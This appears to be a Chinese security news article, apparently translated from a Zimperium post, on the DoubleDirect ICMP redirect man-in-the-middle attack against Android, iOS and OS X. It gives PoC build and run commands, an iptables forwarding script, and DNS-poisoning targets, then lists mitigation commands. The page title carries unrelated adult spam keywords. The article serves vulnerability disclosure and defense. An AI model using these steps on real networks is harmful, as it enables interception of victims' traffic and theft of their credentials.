压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

走近科學(xué):劍指Android和iOS系統(tǒng)的DoubleDirect中間人攻擊

  安全研究員發(fā)現(xiàn)一種新型的中間人攻擊技術(shù),它的攻擊目標(biāo)主要是運(yùn)行Android系統(tǒng)和iOS系統(tǒng)的智能手機(jī)和平板電腦。

  這種被稱為DoubleDirect的技術(shù)屬于中間人(MITM)攻擊的一種。攻擊者可以利用這種技術(shù)把受害者訪問谷歌、Facebook、Twitter上的流量重定向到攻擊者控制的設(shè)備上,而一旦受害者的流量被重定向了,攻擊者就可竊取受害者的私人數(shù)據(jù),比如,郵箱ID、登錄憑證、銀行信息等,當(dāng)然他還可以在受害者的機(jī)器上安裝木馬等惡意軟件。

  舊金山的一家移動安全公司Zimperium在其博客中詳細(xì)介紹了這一威脅。黑客正在利用DoubleDirect技術(shù)進(jìn)行針對性攻擊,范圍包括美國、英國、加拿大在內(nèi)的31個國家,5大互聯(lián)網(wǎng)巨頭——Google,F(xiàn)acebook,Hotmail,Live.com和Twitter。

  全雙工的ICMP重定向中間人攻擊

  ICMP攻擊是中間人攻擊(MITM)的一種,傳統(tǒng)的ICMP重定向攻擊及其利用工具則類似于ettercap +半雙工中間人攻擊(MITM)。受害者因?yàn)镮CMP重定向攻擊被欺騙,路由器因?yàn)锳RP欺騙攻擊被毒化。這種ICMP攻擊可以通過防御ARP攻擊的傳統(tǒng)手段相對輕松的防御住。

  而DoubleDirect則有所不同,它通過ICMP(網(wǎng)間控制報文協(xié)議)重定向數(shù)據(jù)包改變主機(jī)路由表。ICMP重定向數(shù)據(jù)包會告訴主機(jī)有一個更好的路由路徑可以達(dá)到目的地。改變受害者機(jī)器上的路由表可以使任意的網(wǎng)絡(luò)流量流向特定的IP地址(比如攻擊者的IP),然后攻擊者就可以從中作梗發(fā)動中間人攻擊了。在流量被重定向之后,攻擊者可通過利用客戶端漏洞攻擊受害者的設(shè)備,從而訪問受害者的網(wǎng)絡(luò)。

  通過研究DoubleDirect攻擊,我們發(fā)現(xiàn)攻擊者通過目前未知的技術(shù),實(shí)現(xiàn)了全雙工的ICMP重定向中間人攻擊。而傳統(tǒng)的ICMP重定向攻擊是有半雙工限制的。

  DoubleDirect攻擊是如何工作的?

  Zimperium移動安全實(shí)驗(yàn)室在研究該攻擊之后創(chuàng)建了一個攻擊測試工具,它可以證明發(fā)動全雙工ICMP重定向攻擊是有可能的。ICMP重定向攻擊的難點(diǎn)在于,攻擊者必須預(yù)先知道受害者已經(jīng)可到達(dá)的IP地址。

  攻擊者怎樣知道受害者可達(dá)的IP地址呢?要回答這個問題我們應(yīng)該先分析受害者的設(shè)備。

  例如,當(dāng)我們在瀏覽器中輸入www.zimperium.com時,應(yīng)用程序會發(fā)送一個DNS請求以找出www.zimperium.com主機(jī)的IP地址。

  首先,我們會用ICMP重定向數(shù)據(jù)包把受害者設(shè)備上的所有DNS流量轉(zhuǎn)發(fā)到我們的設(shè)備上。大多數(shù)時候我們都能預(yù)測到受害者使用的DNS服務(wù)器。

  如果受害者與我們在同個局域網(wǎng)(LAN),那么受害者的DNS服務(wù)器也很有可能與我們通過DHCP(動態(tài)主機(jī)配置協(xié)議)所獲得的DNS服務(wù)器相同。當(dāng)然,有些移動設(shè)備使用的是默認(rèn)的DNS服務(wù)器(8.8.8.8或者 8.8.4.4)。

  我們還提供了一個簡單有效的工具來研究DoubleDirect,單擊這里即可下載。

  如果想編譯和運(yùn)行這個工具,你需要在系統(tǒng)上安裝libcrafter(https://code.google.com/p/libcrafter/)。libcrafter是一個C++開發(fā)的跨平臺庫,可以用來抓包和解包。在GNU/linux或者M(jìn)AC OS X系統(tǒng)上編譯,你需要執(zhí)行以下的命令:

  $ git clone https://github.com/pellegre/libcrafter

  $ cd libcrafter/libcrafter

  $ ./autogen.sh

  $ make

  $ sudo make install

  $ sudo ldconfig

  值得注意的是,在配置libcrafter之前你需要安裝抓包工具libpcap:

  #apt-get install libpcap-dev

  DoubleDirect實(shí)例:全雙工ICMP重定向攻擊

  場景再現(xiàn)

  網(wǎng)關(guān)=192.168.1.1

  攻擊機(jī)(Ubuntu)=192.168.1.105

  受害機(jī)(GalaxyS4)=192.168.1.101

  受害機(jī)配置

  首先需要做的是,檢查設(shè)備是否支持重定向。GalaxyS4會默認(rèn)支持重定向:

  # cat /proc/sys/net/ipv4/conf/all/accept_redirects 1

  其次,如果你的設(shè)備不支持ICMP重定向但你又想測試這一攻擊,那可以執(zhí)行下面的命令:

  # echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects

  攻擊機(jī)配置

  為了保證攻擊的正確進(jìn)行,我們需要在攻擊者設(shè)備上執(zhí)行一些命令:

  對數(shù)據(jù)流量進(jìn)行轉(zhuǎn)發(fā)(該方式具有暫時性,重啟便失效。要想長久保持轉(zhuǎn)發(fā)需要修改/etc/sysctl.conf)

  # echo 1 > /proc/sys/net/ipv4/ip_forward

  關(guān)閉攻擊機(jī)的重定向設(shè)置。這很重要!我們需要告訴告訴攻擊設(shè)備的內(nèi)核:不要發(fā)送重定向

  # echo 0 > /proc/sys/net/ipv4/conf/all/send_redirect

  攻擊演示

  編譯DoubleDirect_poc.cpp文件:

  $ g++ doubledirect_poc.cpp -o doubledirect_poc -lcrafter

  $ ./doubledirect_poc

  [#] ***** ZIMPERIUM – DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****

  [#] Usage: ./doubledirect_poc [options]

  POC選項(xiàng):

  -i 指定網(wǎng)絡(luò)接口

  -v 受害機(jī)IP地址

  -d 毒化的目標(biāo)IP

  當(dāng)受害者訪問一些網(wǎng)址時,我們會毒化一個受害者機(jī)器可達(dá)的遠(yuǎn)程IP地址,而不是進(jìn)行局域網(wǎng)ARP欺騙。然后我們就讓受害者的流量發(fā)向我們的設(shè)備,而不通過真正的網(wǎng)關(guān)。

  當(dāng)設(shè)備發(fā)送了一個目的地為8.8.8.8的IP數(shù)據(jù)包時,它本該經(jīng)過網(wǎng)關(guān)(192.168.1.1)……

  我們在攻擊者設(shè)備上執(zhí)行:

  $ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8

  [#] Attack parameters :

  [+] Interface : wlan0

  [+] Victim IP address : 192.168.1.101

  [+] Destination to poison : 8.8.8.8

  [#] Gateway parameters :

  [+] Gateway IP address : 192.168.1.1

  [+] Gateway MAC address : *:*:*:*:AE:51

  [#] My parameters :

  [+] My IP address : 192.168.1.105

  從上面的演示可以看出,我們是怎樣毒化8.8.8.8為我們的IP192.168.1.105的。當(dāng)受害者發(fā)送目的地為8.8.8.8的數(shù)據(jù)包時,它會把我們的設(shè)備作為網(wǎng)關(guān),這樣一來我們就可以嗅探到流向目的地的所有流量了。

  一旦所有的DNS流量都通過我們的電腦轉(zhuǎn)發(fā)了,我們通過DNS回應(yīng)包獲得IP地址,并可以向這些IP地址發(fā)送ICMP重定向數(shù)據(jù)包。這樣,我們不僅能嗅探到受害者的所有DNS流量,還可以完全的將其轉(zhuǎn)發(fā)到我們的設(shè)備上。

  測試你是否易受DoubleDirect的攻擊,我們可以寫一個bash腳本,利用iptables進(jìn)行IP轉(zhuǎn)發(fā):

  # cat iptables_dobule_direct.sh

  #!/bin/sh

  if [ $# -lt 1 ]; then

  echo "[@] Usage: `basename ${0}` "

  echo "[@] Example: `basename ${0}` wlan0"

  exit 0

  fi

  INTERFACE=${1}

  echo 1 > /proc/sys/net/ipv4/ip_forward

  echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects

  iptables –flush

  iptables –zero

  iptables –delete-chain

  iptables -F -t nat

  iptables –append FORWARD –in-interface $INTERFACE –jump ACCEPT

  iptables –table nat –append POSTROUTING –out-interface $INTERFACE –jump MASQUERADE

  # ./iptables_double_direct.sh wlan0

  最后執(zhí)行Zimperium DoubleDirect攻擊測試工具:

  # ./doubledirect_poc -i wlan0 -v 192.168.1.101

  [#] ***** ZIMPERIUM – DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****

  [#] Attack parameters :

  [+] Interface : wlan0

  [+] Victim IP address : 192.168.1.101

  [#] Gateway parameters :

  [+] Gateway IP address : 192.168.2.1

  [+] Gateway MAC address : 00:1f:*:*:*:*

  [#] My parameters :

  [+] My IP address : 192.168.2.103

  DNS服務(wù)器是被硬編進(jìn)代碼(397行,DoubleDirect_poc.cpp文件)里的。

  // Hardcoded DNS servers we want to redirect to our machine

  startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway

  startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8");

  startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4");

  startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222");

  startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220");

  應(yīng)對策略

  Android(安卓)、IOS、Mac OSX設(shè)備通常默認(rèn)支持ICMP重定向。

  要想知道你的OS X設(shè)備是否易受DoubleDirect攻擊,可以執(zhí)行以下命令:

  sysctl net.inet.ip.redirect | grep ": 1" && echo "DoubleDirect: VULNERABLE" || echo "DoubleDirect: SAFE"

  要想使ICMP重定向在Mac失效可以執(zhí)行以下命令(需要Root權(quán)限):

  # sysctl -w net.inet.ip.redirect=0

  注:這種修復(fù)不具有持久性,要想使其長久的有效,你可以重啟之后在命令行中添加啟動腳本。

  對于Android來說,大部分的Android設(shè)備都會默認(rèn)支持重定向,要想使其失效,需要root設(shè)備并且執(zhí)行以下命令:

  # echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects

  哪些設(shè)備會受到攻擊

  受影響的系統(tǒng)包括

  Android設(shè)備:大部分Android設(shè)備,包括Nexus 5 + Lollipop

  iOS設(shè)備:最新iOS設(shè)備,包括iOS 8.1.1()以外

  Mac:Mac OS X Yosemite(優(yōu)勝美地)

  大部分Windows和GNU/Linux用戶不會受到DoubleDirect的攻擊,因?yàn)檫@些操作系統(tǒng)不支持ICMP重定向數(shù)據(jù)包。

 

上一篇:智能無懼挑戰(zhàn) 山石網(wǎng)科轟動RSA2015

下一篇:黑客偽造Viber未接來電傳播病毒